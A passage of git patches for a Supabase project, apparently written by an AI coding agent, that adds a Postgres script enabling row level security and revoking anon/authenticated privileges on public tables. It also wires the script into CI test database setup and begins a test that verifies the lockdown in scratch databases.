trigger (created below; if your role +-- may not create event triggers you get a WARNING and should re-run this file after +-- each migration that adds tables) enables RLS on every table created in `public`, +-- and the default privileges set below keep it unreachable by anon/authenticated. +-- NEW ROLES do: this file only knows the roles in v_locked_roles. A new role that +-- must never reach the Data API has to be added there and the file re-run; a role +-- that legitimately needs data needs an explicit GRANT (and, unless it owns the +-- table or has BYPASSRLS, a policy), because nothing is granted by default. +-- +-- EXPOSING A TABLE THROUGH THE DATA API LATER (only if a client really needs it): +-- 1. Add its name to v_data_api_objects below, else the next run revokes the grant. +-- 2. Grant only what is needed: grant select on public.t to authenticated; +-- 3. Write the policy (RLS is already on): +-- create policy "members read their rows" on public.t +-- for select to authenticated using (user_id = (select auth.uid())); +-- The grant without the policy returns zero rows; the policy without the grant +-- is never reached. Functions need `grant execute` the same way. +-- +-- Not emulated by infra/ci/supabase-stub.sql: Supabase's default grants to anon and +-- authenticated. packages/db/test/rls.test.ts recreates that baseline itself and +-- proves this file removes it. + +-- Event trigger function: enable RLS on tables created in `public` from now on. It +-- must never make the CREATE TABLE itself fail, hence the exception handler. +CREATE OR REPLACE FUNCTION public.atlas_enable_rls_on_new_tables() +RETURNS event_trigger +LANGUAGE plpgsql +SET search_path = pg_catalog +AS $$ +DECLARE + cmd record; +BEGIN + FOR cmd IN + SELECT * + FROM pg_event_trigger_ddl_commands() + WHERE command_tag IN ('CREATE TABLE', 'CREATE TABLE AS', 'SELECT INTO') + AND object_type IN ('table', 'partitioned table') + AND schema_name = 'public' + LOOP + BEGIN + EXECUTE format('ALTER TABLE IF EXISTS %s ENABLE ROW LEVEL SECURITY', cmd.object_identity); + EXCEPTION WHEN others THEN + RAISE WARNING 'atlas rls: could not enable RLS on %: %', cmd.object_identity, SQLERRM; + END; + END LOOP; +END; +$$; + +DO $rls$ +DECLARE + -- ---- configuration: the only lines you should ever need to edit ------------- + -- Roles that must never reach `public` data (skipped when they do not exist). + v_locked_roles constant text[] := ARRAY['anon', 'authenticated']; + -- Supabase Auth's role; its grants from auth-hooks.sql are verified, never revoked. + v_auth_admin constant text := 'supabase_auth_admin'; + -- Tables, views, sequences or functions deliberately exposed via the Data API: + -- skipped by the revokes and the final check. Empty by design. + v_data_api_objects constant text[] := ARRAY[]::text[]; + -- ----------------------------------------------------------------------------- + v_present text[]; + v_exposed text; + v_obj record; + v_creator text; + v_kind text; + v_enabled int := 0; + v_skipped int := 0; + v_problems text; +BEGIN + -- Do not queue behind a long transaction while holding the lock queue hostage: + -- ENABLE ROW LEVEL SECURITY takes a brief ACCESS EXCLUSIVE lock per table. + PERFORM set_config('lock_timeout', '15s', true); + + SELECT coalesce(array_agg(rolname::text ORDER BY rolname), ARRAY[]::text[]) + INTO v_present + FROM pg_roles + WHERE rolname = ANY (v_locked_roles); + SELECT string_agg(quote_ident(r), ', ') INTO v_exposed FROM unnest(v_present) AS u(r); + IF cardinality(v_present) < cardinality(v_locked_roles) THEN + RAISE NOTICE 'atlas rls: roles not present, skipped: %', + (SELECT string_agg(r, ', ') FROM unnest(v_locked_roles) AS u(r) WHERE r <> ALL (v_present)); + END IF; + + -- 1. RLS on every ordinary (and partitioned) table in public. Found dynamically, + -- so tables added later are covered the next time this runs. ENABLE, not + -- FORCE: the owner (our services) and BYPASSRLS roles keep working. Tables + -- that belong to an extension are not ours to alter and are skipped. + FOR v_obj IN + SELECT format('%I.%I', n.nspname, c.relname) AS ident + FROM pg_class c + JOIN pg_namespace n ON n.oid = c.relnamespace + WHERE n.nspname = 'public' + AND c.relkind IN ('r', 'p') + AND NOT c.relrowsecurity + AND NOT EXISTS (SELECT 1 FROM pg_depend d + WHERE d.classid = 'pg_class'::regclass AND d.objid = c.oid AND d.deptype = 'e') + ORDER BY c.relname + LOOP + EXECUTE format('ALTER TABLE %s ENABLE ROW LEVEL SECURITY', v_obj.ident); + v_enabled := v_enabled + 1; + END LOOP; + + -- 2. Enable RLS automatically on tables created from now on. Guarded: creating an + -- event trigger needs privileges some hosted roles lack. Left in place if it + -- already exists (the function above was just refreshed). + BEGIN + IF NOT EXISTS (SELECT 1 FROM pg_event_trigger WHERE evtname = 'atlas_enable_rls_on_new_tables') THEN + EXECUTE 'CREATE EVENT TRIGGER atlas_enable_rls_on_new_tables ON ddl_command_end ' + || 'WHEN TAG IN (''CREATE TABLE'', ''CREATE TABLE AS'', ''SELECT INTO'') ' + || 'EXECUTE FUNCTION public.atlas_enable_rls_on_new_tables()'; + END IF; + EXCEPTION WHEN insufficient_privilege THEN + RAISE WARNING 'atlas rls: cannot create the event trigger that enables RLS on new tables (%). ' + 'Re-run this file after every migration that adds tables.', SQLERRM; + END; + + IF cardinality(v_present) > 0 THEN + -- 3. Take back privileges on everything that exists. PUBLIC is included + -- because anon/authenticated inherit from it (functions are executable by + -- PUBLIC by default). Extension-owned objects are best effort: ones owned by + -- a role we cannot act as are skipped (counted in a NOTICE), a failure on + -- the rest is a warning; a failure on our own objects aborts the script. + + -- 3a. Tables, views, materialized views, foreign tables and sequences. + FOR v_obj IN + SELECT format('%I.%I', n.nspname, c.relname) AS ident, + CASE WHEN c.relkind = 'S' THEN 'SEQUENCE' ELSE 'TABLE' END AS kind, + EXISTS (SELECT 1 FROM pg_depend d + WHERE d.classid = 'pg_class'::regclass AND d.objid = c.oid AND d.deptype = 'e') AS is_ext, + pg_has_role(current_user, c.relowner, 'USAGE') AS can_alter + FROM pg_class c + JOIN pg_namespace n ON n.oid = c.relnamespace + WHERE n.nspname = 'public' + AND c.relkind IN ('r', 'p', 'v', 'm', 'f', 'S') + AND c.relname::text <> ALL (v_data_api_objects) + LOOP + IF v_obj.is_ext AND NOT v_obj.can_alter THEN + v_skipped := v_skipped + 1; + CONTINUE; + END IF; + BEGIN + EXECUTE format('REVOKE ALL ON %s %s FROM PUBLIC, %s', v_obj.kind, v_obj.ident, v_exposed); + EXCEPTION WHEN others THEN + IF NOT v_obj.is_ext THEN RAISE; END IF; + RAISE WARNING 'atlas rls: could not revoke on extension object %: %', v_obj.ident, SQLERRM; + END; + END LOOP; + + -- 3b. Functions, procedures and aggregates (RPC endpoints in the Data API). + FOR v_obj IN + SELECT format('%I.%I(%s)', n.nspname, p.proname, pg_get_function_identity_arguments(p.oid)) AS ident, + EXISTS (SELECT 1 FROM pg_depend d + WHERE d.classid = 'pg_proc'::regclass AND d.objid = p.oid AND d.deptype = 'e') AS is_ext, + pg_has_role(current_user, p.proowner, 'USAGE') AS can_alter + FROM pg_proc p + JOIN pg_namespace n ON n.oid = p.pronamespace + WHERE n.nspname = 'public' + AND p.proname::text <> ALL (v_data_api_objects) + LOOP + IF v_obj.is_ext AND NOT v_obj.can_alter THEN + v_skipped := v_skipped + 1; + CONTINUE; + END IF; + BEGIN + EXECUTE format('REVOKE ALL ON ROUTINE %s FROM PUBLIC, %s', v_obj.ident, v_exposed); + EXCEPTION WHEN others THEN + IF NOT v_obj.is_ext THEN RAISE; END IF; + RAISE WARNING 'atlas rls: could not revoke on extension routine %: %', v_obj.ident, SQLERRM; + END; + END LOOP; + + -- 4. Default privileges, so objects created later start out locked. Supabase + -- seeds `ALTER DEFAULT PRIVILEGES IN SCHEMA public GRANT ALL ... TO anon, + -- authenticated` per creating role; clear it for this role and for every + -- role that has such an entry. A role we may not alter is a warning. + FOR v_creator IN + SELECT current_user::text + UNION + SELECT pg_get_userbyid(defaclrole)::text FROM pg_default_acl WHERE defaclnamespace = 'public'::regnamespace + LOOP + BEGIN + FOREACH v_kind IN ARRAY ARRAY['TABLES', 'SEQUENCES', 'FUNCTIONS'] LOOP + EXECUTE format('ALTER DEFAULT PRIVILEGES FOR ROLE %I IN SCHEMA public REVOKE ALL ON %s FROM %s', + v_creator, v_kind, v_exposed); + END LOOP; + EXCEPTION WHEN insufficient_privilege THEN + RAISE WARNING 'atlas rls: cannot change default privileges of role % (objects it creates in public may be ' + 'exposed to %): %', v_creator, v_exposed, SQLERRM; + END; + END LOOP; + -- New functions are executable by PUBLIC (hence by anon) unless that default is + -- revoked, and IN SCHEMA cannot subtract from it, so this one is not schema + -- scoped. It only affects functions this role creates; grant EXECUTE explicitly + -- to any other role that must call them (auth-hooks.sql already does). + EXECUTE format('ALTER DEFAULT PRIVILEGES FOR ROLE %I REVOKE EXECUTE ON FUNCTIONS FROM PUBLIC', current_user); + END IF; + + IF v_skipped > 0 THEN + RAISE NOTICE 'atlas rls: left % extension-owned object(s) in public untouched (owned by a role this one cannot act as)', + v_skipped; + END IF; + + -- 5. Keep Supabase Auth's read of organization_members meaningful under RLS. + IF EXISTS (SELECT 1 FROM pg_roles WHERE rolname = v_auth_admin) + AND to_regclass('public.organization_members') IS NOT NULL THEN + DROP POLICY IF EXISTS atlas_auth_admin_select ON public.organization_members; + EXECUTE format('CREATE POLICY atlas_auth_admin_select ON public.organization_members ' + 'AS PERMISSIVE FOR SELECT TO %I USING (true)', v_auth_admin); + END IF; + + -- 6. Verify the end state in the same transaction. Any finding aborts the whole + -- script (nothing is applied), so a half-hardened or auth-breaking state is + -- never committed. Extension-owned objects are excluded from the checks. + SELECT string_agg(x.msg, E'\n' ORDER BY x.msg) + INTO v_problems + FROM ( + SELECT format(' RLS is not enabled on table %I.%I', n.nspname, c.relname) AS msg + FROM pg_class c + JOIN pg_namespace n ON n.oid = c.relnamespace + WHERE n.nspname = 'public' AND c.relkind IN ('r', 'p') AND NOT c.relrowsecurity + AND NOT EXISTS (SELECT 1 FROM pg_depend d + WHERE d.classid = 'pg_class'::regclass AND d.objid = c.oid AND d.deptype = 'e') + UNION ALL + SELECT format(' role %s can still access %I.%I', u.r, n.nspname, c.relname) + FROM pg_class c + JOIN pg_namespace n ON n.oid = c.relnamespace + CROSS JOIN unnest(v_present) AS u(r) + WHERE n.nspname = 'public' AND c.relkind IN ('r', 'p', 'v', 'm', 'f') + AND c.relname::text <> ALL (v_data_api_objects) + AND NOT EXISTS (SELECT 1 FROM pg_depend d + WHERE d.classid = 'pg_class'::regclass AND d.objid = c.oid AND d.deptype = 'e') + AND (has_any_column_privilege(u.r::name, c.oid, 'SELECT,INSERT,UPDATE,REFERENCES') + OR has_table_privilege(u.r::name, c.oid, 'DELETE,TRUNCATE,TRIGGER')) + UNION ALL + SELECT format(' role %s can still use sequence %I.%I', u.r, n.nspname, c.relname) + FROM pg_class c + JOIN pg_namespace n ON n.oid = c.relnamespace + CROSS JOIN unnest(v_present) AS u(r) + WHERE n.nspname = 'public' AND c.relkind = 'S' + AND c.relname::text <> ALL (v_data_api_objects) + AND NOT EXISTS (SELECT 1 FROM pg_depend d + WHERE d.classid = 'pg_class'::regclass AND d.objid = c.oid AND d.deptype = 'e') + AND has_sequence_privilege(u.r::name, c.oid, 'USAGE,SELECT,UPDATE') + UNION ALL + SELECT format(' role %s can still execute %s', u.r, p.oid::regprocedure) + FROM pg_proc p + JOIN pg_namespace n ON n.oid = p.pronamespace + CROSS JOIN unnest(v_present) AS u(r) + WHERE n.nspname = 'public' + AND p.proname::text <> ALL (v_data_api_objects) + AND NOT EXISTS (SELECT 1 FROM pg_depend d + WHERE d.classid = 'pg_proc'::regclass AND d.objid = p.oid AND d.deptype = 'e') + AND has_function_privilege(u.r::name, p.oid, 'EXECUTE') + ) AS x; + + -- Supabase Auth: if auth-hooks.sql has been applied, its three grants must still hold. + IF EXISTS (SELECT 1 FROM pg_roles WHERE rolname = v_auth_admin) + AND to_regprocedure('public.custom_access_token_hook(jsonb)') IS NOT NULL THEN + IF NOT has_schema_privilege(v_auth_admin, 'public', 'USAGE') THEN + v_problems := concat_ws(E'\n', v_problems, format(' %s lost USAGE on schema public', v_auth_admin)); + END IF; + IF NOT has_function_privilege(v_auth_admin, 'public.custom_access_token_hook(jsonb)', 'EXECUTE') THEN + v_problems := concat_ws(E'\n', v_problems, format(' %s lost EXECUTE on custom_access_token_hook', v_auth_admin)); + END IF; + IF to_regclass('public.organization_members') IS NOT NULL + AND NOT has_table_privilege(v_auth_admin, 'public.organization_members', 'SELECT') THEN + v_problems := concat_ws(E'\n', v_problems, format(' %s lost SELECT on organization_members', v_auth_admin)); + END IF; + END IF; + + IF v_problems IS NOT NULL THEN + RAISE EXCEPTION E'atlas rls: refusing to commit, the end state is not safe:\n%', v_problems; + END IF; + + RAISE NOTICE 'atlas rls: enabled RLS on % table(s) this run; %', + v_enabled, + CASE WHEN v_exposed IS NULL THEN 'no locked roles exist on this server, so no privileges were changed' + ELSE format('%s hold no privileges on public tables, sequences or functions', v_exposed) END; +END +$rls$; From a460741ad2c8003d95408ba749b9d4ab9020bcc6 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 12:34:07 +0000 Subject: [PATCH 13/91] ci: apply rls.sql when preparing test databases Adds step 4/4 to scripts/ci/setup-test-db.sh, after the auth hooks, so CI and local test databases have the same Data API posture as production. The step is idempotent; the suites connect as a superuser and are unaffected by RLS. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- scripts/ci/setup-test-db.sh | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/scripts/ci/setup-test-db.sh b/scripts/ci/setup-test-db.sh index eb6d2ba..660dfe2 100755 --- a/scripts/ci/setup-test-db.sh +++ b/scripts/ci/setup-test-db.sh @@ -17,6 +17,8 @@ # 1. infra/ci/supabase-stub.sql roles + auth.users stand-in # 2. pnpm db:migrate extensions + Drizzle migrations # 3. packages/db/supabase/auth-hooks.sql FK + handle_new_user trigger + hook +# 4. packages/db/supabase/rls.sql RLS on every public table, no privileges for +# anon/authenticated (production's Data API posture) # # CI/test databases only. Step 1 refuses to run on a real Supabase database, # but point DATABASE_URL at a scratch database anyway, never at one you care @@ -54,19 +56,25 @@ run_psql() { psql "$DATABASE_URL" -X -q -v ON_ERROR_STOP=1 "$@" } -echo "==> [1/3] Supabase stand-in (roles, auth.users)" +echo "==> [1/4] Supabase stand-in (roles, auth.users)" run_psql -f infra/ci/supabase-stub.sql -echo "==> [2/3] Migrations (extensions + Drizzle)" +echo "==> [2/4] Migrations (extensions + Drizzle)" # migrate.ts reads DATABASE_URL from the environment, which is already set. pnpm db:migrate -echo "==> [3/3] Auth hooks (users FK, handle_new_user trigger, access-token hook)" +echo "==> [3/4] Auth hooks (users FK, handle_new_user trigger, access-token hook)" # auth-hooks.sql does a plain `add constraint users_user_id_fkey`, which fails # on a second run. Dropping it first makes this step re-runnable; the rest of # the file is create-or-replace / drop-and-create already. run_psql -c 'alter table public.users drop constraint if exists users_user_id_fkey' run_psql -f packages/db/supabase/auth-hooks.sql +echo "==> [4/4] Row Level Security (RLS on public tables, no anon/authenticated grants)" +# Idempotent, and last so it sees every table the earlier steps created. The test +# suites connect as a superuser and are unaffected by RLS; this makes the database +# match production's Data API posture instead of leaving it wide open. +run_psql -f packages/db/supabase/rls.sql + echo "setup-test-db: done. Run the suites with:" echo " ATLAS_TEST_DATABASE_URL= pnpm test" From b05b58828dcdc48ef5c520ff2e07949f8fc7fb15 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 12:34:12 +0000 Subject: [PATCH 14/91] test(db): prove rls.sql locks anon/authenticated out of public DB-backed test that creates a scratch database (rls_probe_, dropped afterwards) and never touches the configured test database. It replays stub, migrations and auth-hooks.sql on top of Supabase's default grants, then applies rls.sql and asserts: anon/authenticated get permission denied for every operation on every public table; no catalog-visible privilege remains on tables, sequences or functions; the file is idempotent; the owner, signup trigger and Supabase Auth's hook still work; later-created objects are locked; plus drift healing, the deliberate-exposure allowlist, atomic abort and graceful handling of missing roles. Self-skips without ATLAS_TEST_DATABASE_URL. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- packages/db/test/rls.test.ts | 558 +++++++++++++++++++++++++++++++++++ 1 file changed, 558 insertions(+) create mode 100644 packages/db/test/rls.test.ts diff --git a/packages/db/test/rls.test.ts b/packages/db/test/rls.test.ts new file mode 100644 index 0000000..763d740 --- /dev/null +++ b/packages/db/test/rls.test.ts @@ -0,0 +1,558 @@ +import { randomBytes, randomUUID } from 'node:crypto'; +import { readFileSync } from 'node:fs'; +import { fileURLToPath } from 'node:url'; +import postgres from 'postgres'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import { runMigrations } from '../src/migrate.js'; + +// packages/db/supabase/rls.sql: Row Level Security on every public table and no +// privileges for anon/authenticated, so the publishable key cannot read anything +// through Supabase's Data API (/rest/v1). Real RLS behaviour needs a real +// Postgres, so this is DB-backed and self-skips without ATLAS_TEST_DATABASE_URL. +// +// It never touches the database that URL points at. It uses that connection +// (which must be a superuser, like the rest of the DB-backed setup) only to +// CREATE and DROP scratch databases named rls_probe_, so it can run next to +// the other suites without disturbing them. In each scratch database it replays +// the repo's recipe: supabase-stub.sql, migrations, auth-hooks.sql, then rls.sql. +const adminUrl = process.env.ATLAS_TEST_DATABASE_URL; + +const readRepoFile = (relative: string): string => + readFileSync(fileURLToPath(new URL(relative, import.meta.url)), 'utf8'); + +const LOCKED_ROLES = ['anon', 'authenticated'] as const; +const noop = (): void => {}; + +/** + * What a fresh Supabase project does before any of our SQL runs: schema USAGE plus + * default privileges granting ALL on future tables, sequences and functions in + * `public` to anon and authenticated. infra/ci/supabase-stub.sql does not model + * this, and without it every "denied" assertion below would hold even if rls.sql + * did nothing. Applied before the migrations, so every table inherits the grants + * exactly as it does on Supabase. + */ +const SUPABASE_DEFAULT_GRANTS = ` + GRANT USAGE ON SCHEMA public TO anon, authenticated; + ALTER DEFAULT PRIVILEGES IN SCHEMA public GRANT ALL ON TABLES TO anon, authenticated; + ALTER DEFAULT PRIVILEGES IN SCHEMA public GRANT ALL ON SEQUENCES TO anon, authenticated; + ALTER DEFAULT PRIVILEGES IN SCHEMA public GRANT ALL ON FUNCTIONS TO anon, authenticated; +`; + +/** + * GoTrue owns the auth schema on Supabase and inserts into auth.users as + * supabase_auth_admin. The stub's roles own nothing, so give that role what its + * real counterpart has, to exercise the real signup path (non-owner insert, + * trigger running a SECURITY DEFINER function). + */ +const AUTH_ADMIN_GRANTS = ` + GRANT USAGE ON SCHEMA auth TO supabase_auth_admin; + GRANT INSERT ON auth.users TO supabase_auth_admin; +`; + +type ProbeResult = + | { ok: true; rows: Record[]; count: number } + | { ok: false; code: string; message: string }; + +/** Thrown to roll a transaction back while still returning a value from it. */ +class Rollback extends Error { + constructor(readonly value: T) { + super('rollback'); + } +} + +function urlFor(base: string, database: string): string { + const url = new URL(base); + url.pathname = `/${database}`; + return url.toString(); +} + +function pgCode(error: unknown): string { + return typeof error === 'object' && error !== null && 'code' in error + ? String((error as { code: unknown }).code) + : ''; +} + +function replaceOnce(text: string, from: string, to: string): string { + const first = text.indexOf(from); + if (first === -1 || text.indexOf(from, first + 1) !== -1) { + throw new Error(`rls.sql no longer contains exactly one "${from}"; update this test`); + } + return text.replace(from, () => to); +} + +/** A missing-privilege failure, as opposed to an RLS policy violation (also SQLSTATE 42501). */ +function isPermissionDenied(result: ProbeResult): boolean { + return ( + !result.ok && + result.code === '42501' && + /permission denied/i.test(result.message) && + !/row-level security/i.test(result.message) + ); +} + +describe.skipIf(!adminUrl)('rls.sql (Data API lockdown of schema public)', () => { + const scratchDatabases: string[] = []; + let admin: postgres.Sql; + let sql: postgres.Sql; + let rlsSql: string; + let baselineExposed: { anon: boolean; authenticated: boolean }; + let seededUserId: string; + let publicTables: string[]; + + async function createScratchDatabase(): Promise { + const name = `rls_probe_${randomBytes(5).toString('hex')}`; + // Concurrent CREATE DATABASE runs on a shared cluster can collide on the template. + for (let attempt = 1; ; attempt += 1) { + try { + await admin.unsafe(`CREATE DATABASE ${name} TEMPLATE template0`); + scratchDatabases.push(name); + return name; + } catch (error) { + if (pgCode(error) !== '55006' || attempt >= 6) throw error; + await new Promise((resolve) => setTimeout(resolve, 250 * attempt)); + } + } + } + + /** Run `fn` in a transaction that is always rolled back; resolves with fn's value. */ + async function inRolledBackTx(fn: (tx: postgres.TransactionSql) => Promise): Promise { + try { + await sql.begin(async (tx) => { + throw new Rollback(await fn(tx)); + }); + } catch (error) { + if (error instanceof Rollback) return error.value as T; + throw error; + } + throw new Error('unreachable'); + } + + /** Run one statement as `role` (SET LOCAL ROLE) and report success or the Postgres error. Never persists. */ + async function probe(role: string, statement: string): Promise { + try { + return await inRolledBackTx(async (tx) => { + await tx.unsafe(`SET LOCAL ROLE ${role}`); + const rows = await tx.unsafe(statement); + return { + ok: true as const, + rows: [...rows] as Record[], + count: rows.count, + }; + }); + } catch (error) { + return { + ok: false, + code: pgCode(error), + message: error instanceof Error ? error.message : String(error), + }; + } + } + + /** Everything rls.sql is supposed to settle: ACLs, RLS flags, defaults, policies, event trigger. */ + async function fingerprint(): Promise { + const rows = await sql.unsafe<{ line: string }[]>(` + SELECT concat_ws('|', 'rel', c.relname, c.relkind, c.relrowsecurity, c.relforcerowsecurity, coalesce(c.relacl::text, '-')) AS line + FROM pg_class c + WHERE c.relnamespace = 'public'::regnamespace AND c.relkind IN ('r', 'p', 'v', 'm', 'f', 'S') + UNION ALL + SELECT concat_ws('|', 'proc', p.oid::regprocedure, coalesce(p.proacl::text, '-')) + FROM pg_proc p WHERE p.pronamespace = 'public'::regnamespace + UNION ALL + SELECT concat_ws('|', 'defacl', pg_get_userbyid(defaclrole), defaclnamespace::regnamespace, defaclobjtype, defaclacl::text) + FROM pg_default_acl + UNION ALL + SELECT concat_ws('|', 'policy', polname, polrelid::regclass, polcmd, polroles::regrole[]::text) + FROM pg_policy + UNION ALL + SELECT concat_ws('|', 'evt', evtname, evtevent, evtenabled) + FROM pg_event_trigger + ORDER BY 1`); + return rows.map((row) => row.line).join('\n'); + } + + beforeAll(async () => { + admin = postgres(adminUrl as string, { max: 1, prepare: false, onnotice: noop }); + const [self] = await admin<{ rolsuper: boolean }[]>` + SELECT rolsuper FROM pg_roles WHERE rolname = current_user`; + if (self?.rolsuper !== true) { + throw new Error( + 'rls.test.ts needs ATLAS_TEST_DATABASE_URL to be a superuser connection (it creates scratch databases and SET ROLEs); see scripts/ci/setup-test-db.sh', + ); + } + + rlsSql = readRepoFile('../supabase/rls.sql'); + const dbName = await createScratchDatabase(); + const dbUrl = urlFor(adminUrl as string, dbName); + // One connection: the stub script issues its own BEGIN/COMMIT, which postgres.js only allows then. + sql = postgres(dbUrl, { max: 1, prepare: false, onnotice: noop }); + + // The repo's recipe (scripts/ci/setup-test-db.sh), with Supabase's default grants in place first. + await sql.unsafe(readRepoFile('../../../infra/ci/supabase-stub.sql')); + await sql.unsafe(SUPABASE_DEFAULT_GRANTS); + await runMigrations(dbUrl); + await sql.unsafe(readRepoFile('../supabase/auth-hooks.sql')); + await sql.unsafe(AUTH_ADMIN_GRANTS); + + // One real user + organization + owner membership, created through the same trigger production uses. + seededUserId = randomUUID(); + await sql` + INSERT INTO auth.users (id, email, email_confirmed_at, raw_app_meta_data, raw_user_meta_data, created_at, updated_at) + VALUES (${seededUserId}, ${`rls-seed-${seededUserId}@example.com`}, now(), + '{"provider":"email"}'::jsonb, '{"organization_name":"RLS Probe Org"}'::jsonb, now(), now())`; + + // Before hardening, the baseline must really leak, or the later assertions prove nothing. + const exposed = async (role: string): Promise => { + const result = await probe(role, 'SELECT user_id FROM public.users'); + return result.ok && result.count > 0; + }; + baselineExposed = { + anon: await exposed('anon'), + authenticated: await exposed('authenticated'), + }; + + await sql.unsafe(rlsSql); + + publicTables = ( + await sql<{ table_name: string }[]>` + SELECT table_name FROM information_schema.tables + WHERE table_schema = 'public' AND table_type = 'BASE TABLE' ORDER BY table_name` + ).map((row) => row.table_name); + }, 120_000); + + afterAll(async () => { + await sql?.end({ timeout: 5 }).catch(noop); + for (const name of scratchDatabases) { + await admin?.unsafe(`DROP DATABASE IF EXISTS ${name} WITH (FORCE)`).catch(noop); + } + await admin?.end({ timeout: 5 }).catch(noop); + }, 60_000); + + it('precondition: with Supabase default grants and no RLS, the anon key could read real rows', () => { + expect(baselineExposed).toEqual({ anon: true, authenticated: true }); + }); + + it('enables RLS (never FORCE) on every table in public, including all the sensitive ones', async () => { + for (const required of [ + 'resumes', + 'messages', + 'contacts', + 'connector_accounts', + 'users', + 'organization_members', + ]) { + expect(publicTables).toContain(required); + } + expect(publicTables.length).toBeGreaterThanOrEqual(18); + + const rows = await sql< + { relname: string; relrowsecurity: boolean; relforcerowsecurity: boolean }[] + >` + SELECT relname::text, relrowsecurity, relforcerowsecurity FROM pg_class + WHERE relnamespace = 'public'::regnamespace AND relkind IN ('r', 'p') ORDER BY relname`; + expect(rows.filter((row) => !row.relrowsecurity).map((row) => row.relname)).toEqual([]); + expect(rows.filter((row) => row.relforcerowsecurity).map((row) => row.relname)).toEqual([]); + }); + + it('denies anon and authenticated every operation on every table in public', async () => { + const columns = await sql<{ table_name: string; column_name: string }[]>` + SELECT DISTINCT ON (table_name) table_name, column_name FROM information_schema.columns + WHERE table_schema = 'public' ORDER BY table_name, ordinal_position`; + const firstColumn = new Map(columns.map((row) => [row.table_name, row.column_name])); + + const failures: string[] = []; + for (const role of LOCKED_ROLES) { + for (const table of publicTables) { + const column = firstColumn.get(table); + const operations: Record = { + SELECT: `SELECT * FROM public."${table}" LIMIT 1`, + INSERT: `INSERT INTO public."${table}" DEFAULT VALUES`, + UPDATE: `UPDATE public."${table}" SET "${column}" = "${column}"`, + DELETE: `DELETE FROM public."${table}"`, + TRUNCATE: `TRUNCATE public."${table}"`, + }; + for (const [operation, statement] of Object.entries(operations)) { + const result = await probe(role, statement); + if (!isPermissionDenied(result)) { + failures.push( + `${role} ${operation} ${table}: ${result.ok ? 'was allowed' : `${result.code} ${result.message}`}`, + ); + } + } + } + } + expect(failures).toEqual([]); + }, 120_000); + + it('leaves anon, authenticated and PUBLIC no privilege on any table, view, sequence or function in public', async () => { + const leaks = await sql<{ line: string }[]>` + SELECT format('%s can access table %s', r.rolname, c.relname) AS line + FROM pg_roles r, pg_class c + WHERE r.rolname IN ('anon', 'authenticated') + AND c.relnamespace = 'public'::regnamespace AND c.relkind IN ('r', 'p', 'v', 'm', 'f') + AND (has_any_column_privilege(r.oid, c.oid, 'SELECT,INSERT,UPDATE,REFERENCES') + OR has_table_privilege(r.oid, c.oid, 'DELETE,TRUNCATE,TRIGGER')) + UNION ALL + SELECT format('%s can use sequence %s', r.rolname, c.relname) + FROM pg_roles r, pg_class c + WHERE r.rolname IN ('anon', 'authenticated') + AND c.relnamespace = 'public'::regnamespace AND c.relkind = 'S' + AND has_sequence_privilege(r.oid, c.oid, 'USAGE,SELECT,UPDATE') + UNION ALL + SELECT format('%s can execute %s', r.rolname, p.oid::regprocedure) + FROM pg_roles r, pg_proc p + WHERE r.rolname IN ('anon', 'authenticated') + AND p.pronamespace = 'public'::regnamespace AND has_function_privilege(r.oid, p.oid, 'EXECUTE') + UNION ALL + SELECT format('PUBLIC can execute %s', p.oid::regprocedure) + FROM pg_proc p + WHERE p.pronamespace = 'public'::regnamespace + AND (p.proacl IS NULL OR EXISTS (SELECT 1 FROM aclexplode(p.proacl) a WHERE a.grantee = 0)) + UNION ALL + SELECT format('policy %s on %s applies to anon/authenticated/PUBLIC', p.polname, p.polrelid::regclass) + FROM pg_policy p + WHERE p.polroles = '{0}'::oid[] + OR EXISTS (SELECT 1 FROM pg_roles r WHERE r.oid = ANY (p.polroles) AND r.rolname IN ('anon', 'authenticated'))`; + expect(leaks.map((row) => row.line)).toEqual([]); + + // And the two Atlas functions, called rather than just inspected. + for (const role of LOCKED_ROLES) { + expect( + isPermissionDenied( + await probe(role, `SELECT public.custom_access_token_hook('{}'::jsonb)`), + ), + ).toBe(true); + } + }); + + it('is idempotent: applying it again changes nothing', async () => { + const before = await fingerprint(); + expect(before).toContain('evt|atlas_enable_rls_on_new_tables'); + await sql.unsafe(rlsSql); + await sql.unsafe(rlsSql); + expect(await fingerprint()).toBe(before); + }); + + it('keeps the privileged owner working: reads, writes and signup', async () => { + // The connection used by tests (a superuser) bypasses everything, so also prove it + // for a plain table owner with no BYPASSRLS, which is what ENABLE (not FORCE) is for. + for (const table of publicTables) { + const [row] = await sql.unsafe<{ n: string }[]>( + `SELECT count(*) AS n FROM public."${table}"`, + ); + expect(Number(row?.n)).toBeGreaterThanOrEqual(0); + } + const ownerRole = `rls_probe_owner_${randomBytes(4).toString('hex')}`; + const ownerView = await inRolledBackTx(async (tx) => { + await tx.unsafe(`CREATE ROLE ${ownerRole} NOLOGIN`); + await tx.unsafe(`ALTER TABLE public.users OWNER TO ${ownerRole}`); + await tx.unsafe(`SET LOCAL ROLE ${ownerRole}`); + const visible = await tx.unsafe('SELECT user_id FROM public.users'); + const updated = await tx.unsafe('UPDATE public.users SET full_name = full_name'); + return { visible: visible.length, updated: updated.count }; + }); + expect(ownerView.visible).toBeGreaterThan(0); + expect(ownerView.updated).toBeGreaterThan(0); + + // Signup as GoTrue does it: a non-owner inserts into auth.users and the trigger + // creates the app rows through a SECURITY DEFINER function it has no EXECUTE on. + const newUserId = randomUUID(); + const created = await inRolledBackTx(async (tx) => { + await tx.unsafe('SET LOCAL ROLE supabase_auth_admin'); + await tx.unsafe( + `INSERT INTO auth.users (id, email, email_confirmed_at, raw_app_meta_data, raw_user_meta_data, created_at, updated_at) + VALUES ('${newUserId}', 'rls-signup-${newUserId}@example.com', now(), '{"provider":"email"}'::jsonb, + '{"organization_name":"Signup Org"}'::jsonb, now(), now())`, + ); + await tx.unsafe('RESET ROLE'); + const users = await tx.unsafe(`SELECT 1 FROM public.users WHERE user_id = '${newUserId}'`); + const members = await tx.unsafe( + `SELECT role FROM public.organization_members WHERE user_id = '${newUserId}'`, + ); + return { users: users.length, memberRoles: members.map((row) 